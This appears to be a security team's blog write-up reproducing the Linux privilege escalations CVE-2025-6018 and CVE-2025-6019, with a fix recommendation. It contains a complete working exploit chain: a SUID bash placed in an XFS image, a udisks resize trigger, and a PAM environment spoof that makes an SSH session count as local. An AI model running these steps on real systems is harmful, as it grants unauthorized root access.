CVE-2025-6018 and CVE-2025-6019 本地提权

原文链接: https://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247493268&idx=1&sn=e6a6c7d012105e29b1c1ae2c4c3aa1de

CVE-2025-6018 and CVE-2025-6019 本地提权

原创 星盟@Neko205 星盟安全 2025-07-08 02:35

01 漏洞介绍 

CVE-2025-6018: 在 openSUSE 15 的 PAM 中从无特权用户到 allow_active 的本地权限提升

CVE-2025-6019: 
通过 udisks 利用 libblockdev
 从 allow_active 到 root 的本地权限提升

02 
CVE-2025-6019
本地复现 

根据Qualys安全公告不难知道这个CVE的问题出现在xfs文件系统临时挂载的操作上,没有正确使用nosuid,从而导致的问题出现

先构建一个xfs的镜像,在其中放入bash

dd if=/dev/zero of=xfs.image bs=1M count=300
# XFS
mkfs.xfs -f xfs.image
sudo mkdir -p /mnt/malicious_image
sudo mount -t xfs xfs.image /mnt/malicious_image
# SUID Shell
sudo cp /bin/bash /mnt/malicious_image/root-shell
sudo chmod 4755 /mnt/malicious_image/root-shell
sudo umount /mnt/malicious_image
sudo rmdir /mnt/malicious_image
echo "ok"
调用脚本


echo "当前用户: $(whoami)"
id
# yes
gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot
killall -KILL gvfs-udisks2-volume-monitor &>/dev/null
# loop 设备
udisksctl loop-setup --file ~/xfs.image
# 启动后台进程
while true; do /tmp/blockdev*/root-shell -c 'sleep 5' && break; done &>/dev/null &
# UDisks2 触发漏洞
gdbus call --system --dest org.freedesktop.UDisks2 \
    --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
    --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}' &>/dev/null
# 等待
sleep 2
# 查找并执行 SUID Shell
ROOT_SHELL_PATH=$(find /tmp -name "root-shell" -perm -4000 2>/dev/null | head -n 1)
if [ -n "$ROOT_SHELL_PATH" ]; then
    echo "成功找到 Root Shell: $ROOT_SHELL_PATH"
    echo "正在提权..."
    ${ROOT_SHELL_PATH} -p
else
    echo "错误: 未找到 SUID Shell,提权失败。"
fi

若成功则效果如下

CVE-2025-6018 and CVE-2025-6019 本地提权

可以看到euid已经为root

修复建议:

将libblockdev更新到3.3.1以上

0
3 CVE-2025-6018

CVE-2025-6018需要openSUSE的环境,我手上没有相关环境,遂只尝试说明问题

在ssh远程的情况下,这个漏洞无法直接使用,原因是Polkit的权限管理

CVE-2025-6018 and CVE-2025-6019 本地提权

以reboot策略为例

<action id=&#34;org.freedesktop.login1.reboot&#34;>
                <description gettext-domain=&#34;systemd&#34;>Reboot the system</description>
                <message gettext-domain=&#34;systemd&#34;>Authentication is required to reboot the system.</message>
                <defaults>
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>yes</allow_active>
                </defaults>
                <annotate key=&#34;org.freedesktop.policykit.imply&#34;>org.freedesktop.login1.set-wall-message</annotate>
</action>

其中yes控制本地,假设请求来自一个本地的活跃会话则允许操作auth_admin_keep控制其他会话,若请求来自除了本地的活跃会话外的其他会话则需要admin授权

假设我们在ssh会话中尝试 会触发Polkit会话控制,效果如下

(ssh)neko@aosc-neko205 [ tmp ] $ bash 22.sh 
当前用户: neko
uid=1000(neko) gid=1001(neko) 组=1001(neko),11(audio),12(video),15(cdrom),974(ollama),997(wheel),999(plugdev),1002(gamemode)
('challenge',)
==== AUTHENTICATING FOR org.freedesktop.udisks2.loop-setup ====
设定回环设备需要身份验证
Authenticating as: neko
Password: 

而opensuse的问题也就出在这里,根据Qualys安全公告说明假设构造一个~/.pam_environment 其中内容为XDG_SEAT=seat0 XDG_VTNR=1 则无管理员权限的攻击者可以通过ssh登入,伪装为本地用户,即Polkit语境下的allow_active权限,从而进行CVE-2025-6019的利用完成提权

04 CVE-20
25-6019 EXP

https://github.com/neko205-mx/CVE-2025-6019_Exploit

参考文档:

https://cdn2.qualys.com/2025/06/17/suse15-pam-udisks-lpe.txt

https://wiki.archlinuxcn.org/wiki/Polkit

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:
222328705

星盟安全团队纳新群2:
346014666

有兴趣的师傅欢迎一起来讨论!

PS:团队纳新简历投递邮箱:

[email protected]

责任编辑:@Neko205

图片

图片